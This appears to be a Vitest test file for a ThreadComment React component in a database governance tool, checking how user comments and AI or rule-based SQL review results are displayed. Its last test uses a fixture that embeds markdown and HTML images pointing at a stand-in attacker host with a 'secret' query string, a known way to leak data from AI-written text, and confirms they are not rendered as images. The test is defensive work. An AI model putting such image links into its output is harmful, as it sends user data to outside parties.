Skip to content

Database governance built for humans and agents — controlling changes and access across every major database.

7.5 KB
Raw Blame
import { create } from "@bufbuild/protobuf";
import { timestampFromMs } from "@bufbuild/protobuf/wkt";
import { cleanup, render, within } from "@testing-library/react";
import { afterEach, describe, expect, test, vi } from "vitest";
import {
  IssueComment_ReviewMetadata_Priority,
  IssueComment_ReviewMetadataSchema,
  IssueComment_ThreadState,
  IssueCommentSchema,
  ReviewRun_Type,
  StatementAnchorSchema,
} from "@/types/proto-es/v1/issue_service_pb";
import {
  Plan_ChangeDatabaseConfigSchema,
  Plan_SpecSchema,
} from "@/types/proto-es/v1/plan_service_pb";
import type { Project } from "@/types/proto-es/v1/project_service_pb";
import { ReviewRuleType } from "@/types/proto-es/v1/review_rule_pb";

vi.mock("react-i18next", () => ({
  initReactI18next: { type: "3rdParty", init: () => {} },
  useTranslation: () => ({ t: (key: string) => key }),
}));

vi.mock("@/components/HumanizeTs", async () => ({
  ...(await import("@/test-utils/humanizeTs")).humanizeTsStub(),
}));

// The activity module drags Monaco into the test; only the edit rule matters.
vi.mock("@/components/issue-activity/IssueCommentActivity", () => ({
  canEditIssueComment: () => false,
}));

vi.mock("@/hooks/useAppState", () => ({
  useUserByIdentifier: (principal: string | undefined) =>
    principal
      ? {
          name: principal,
          email: principal.replace(/^users\//, ""),
          title: "Alice",
        }
      : undefined,
}));

vi.mock("../PlanTargetDisplay", () => ({
  PlanTargetDisplay: ({ target }: { target: string }) => (
    <span data-testid="target">{target}</span>
  ),
}));

import { ThreadComment } from "./ThreadComment";

afterEach(cleanup);

const ISSUE = "projects/p/issues/1";
const project = { name: "projects/p" } as Project;
const TARGETS = [
  "instances/prod/databases/app",
  "instances/prod/databases/billing",
];

const userComment = (text: string) =>
  create(IssueCommentSchema, {
    name: `${ISSUE}/issueComments/1`,
    comment: text,
    creator: "users/[email protected]",
    createTime: timestampFromMs(1_000),
    updateTime: timestampFromMs(1_000),
    threadState: IssueComment_ThreadState.OPEN,
  });

const reviewResult = (
  text: string,
  runType = ReviewRun_Type.AI,
  priority = IssueComment_ReviewMetadata_Priority.P0
) =>
  create(IssueCommentSchema, {
    name: `${ISSUE}/issueComments/2`,
    comment: text,
    createTime: timestampFromMs(1_000),
    updateTime: timestampFromMs(1_000),
    threadState: IssueComment_ThreadState.OPEN,
    reviewMetadata: create(IssueComment_ReviewMetadataSchema, {
      runType,
      priority,
      targets: TARGETS,
    }),
  });

const renderComment = (comment: ReturnType<typeof userComment>) =>
  render(
    <ThreadComment comment={comment} onEdit={vi.fn()} project={project} />
  );

const specOf = (id: string) =>
  create(Plan_SpecSchema, {
    id,
    config: {
      case: "changeDatabaseConfig",
      value: create(Plan_ChangeDatabaseConfigSchema, {
        sheet: "projects/p/sheets/abc",
        targets: [...TARGETS].reverse(),
      }),
    },
  });

describe("ThreadComment", () => {
  test.each([
    { anchoredTo: "spec-1", shown: false },
    { anchoredTo: "spec-2", shown: true },
  ])(
    "uses the spec's databases only for a result anchored to it: anchored to $anchoredTo, targets shown=$shown",
    ({ anchoredTo, shown }) => {
      const comment = reviewResult("Missing WHERE clause.");
      comment.statementAnchor = create(StatementAnchorSchema, {
        spec: anchoredTo,
      });
      const { container } = render(
        <ThreadComment
          comment={comment}
          onEdit={vi.fn()}
          project={project}
          spec={specOf("spec-1")}
        />
      );
      expect(
        container.querySelector("[data-testid='review-targets']") !== null
      ).toBe(shown);
    }
  );

  test.each([
    {
      runType: ReviewRun_Type.AI,
      reviewer: "sql-review.ai-review.self",
      priority: IssueComment_ReviewMetadata_Priority.P0,
      label: "P0",
    },
    {
      runType: ReviewRun_Type.RULE,
      reviewer: "sql-review.standard-rules.self",
      priority: IssueComment_ReviewMetadata_Priority.P1,
      label: "P1",
    },
  ])(
    "shows a $label review result as $reviewer, then its databases, then its priority",
    ({ runType, reviewer, priority, label }) => {
      const { container, getByTestId } = renderComment(
        reviewResult("Missing WHERE clause.", runType, priority)
      );
      const content = getByTestId("comment-content");
      const header = content.firstElementChild as HTMLElement;

      expect(within(header).getByTitle(reviewer).textContent).toBe(reviewer);
      expect(within(header).getByTestId("reviewer-avatar")).toBeDefined();
      expect(within(header).queryByTestId("review-priority")).toBeNull();
      expect(
        Array.from(content.children)
          .slice(1, 3)
          .map((node) => node.getAttribute("data-testid"))
      ).toEqual(["review-targets", "review-heading"]);
      expect(
        within(getByTestId("review-heading")).getByTestId("review-priority")
          .textContent
      ).toBe(label);
      expect(
        Array.from(container.querySelectorAll("[data-testid='target']")).map(
          (node) => node.textContent
        )
      ).toEqual(TARGETS);
      expect(container.textContent).not.toContain("common.unknown");
      expect(container.textContent).not.toContain("Unknown");
    }
  );

  test("names the standard rule and codes of a RULE result, and no rule for an AI result", () => {
    const rule = reviewResult(
      "DELETE FROM employee has no WHERE clause",
      ReviewRun_Type.RULE,
      IssueComment_ReviewMetadata_Priority.P1
    );
    if (rule.reviewMetadata) {
      rule.reviewMetadata.ruleType = ReviewRuleType.REQUIRE_WHERE;
      rule.reviewMetadata.codes = ["WH101"];
    }
    const { getByTestId } = renderComment(rule);
    const heading = getByTestId("review-heading");
    expect(within(heading).getByTestId("review-rule").textContent).toBe(
      "sql-review.standard-rules.rule.require-where.title"
    );
    expect(within(heading).getByTestId("review-code").textContent).toBe("WH101");
    cleanup();

    const { container } = renderComment(reviewResult("Missing WHERE clause."));
    expect(container.querySelector("[data-testid='review-rule']")).toBeNull();
  });

  test("shows a user comment as its author with no review details", () => {
    const { container, getByTitle } = renderComment(
      userComment("Looks good ![screenshot](https://example.com/s.png)")
    );

    expect(getByTitle("Alice").textContent).toBe("Alice");
    expect(container.querySelector("[data-testid='reviewer-avatar']")).toBeNull();
    expect(container.querySelector("[data-testid='review-priority']")).toBeNull();
    expect(container.querySelector("[data-testid='review-targets']")).toBeNull();
    expect(container.querySelector("img")?.getAttribute("src")).toBe(
      "https://example.com/s.png"
    );
  });

  test("renders a review result's markdown and HTML images as a link and text, not as images", () => {
    const { container } = renderComment(
      reviewResult(
        'Drop risk\n\n![chart](https://attacker.example/leak.png?q=secret)\n\n<img src="https://attacker.example/raw.png">'
      )
    );

    expect(container.querySelector("img")).toBeNull();
    expect(
      container.querySelector("a[href='https://attacker.example/leak.png?q=secret']")
        ?.textContent
    ).toBe("chart");
    expect(container.textContent).not.toContain("!chart");
    expect(container.textContent).toContain(
      '<img src="https://attacker.example/raw.png">'
    );
  });
});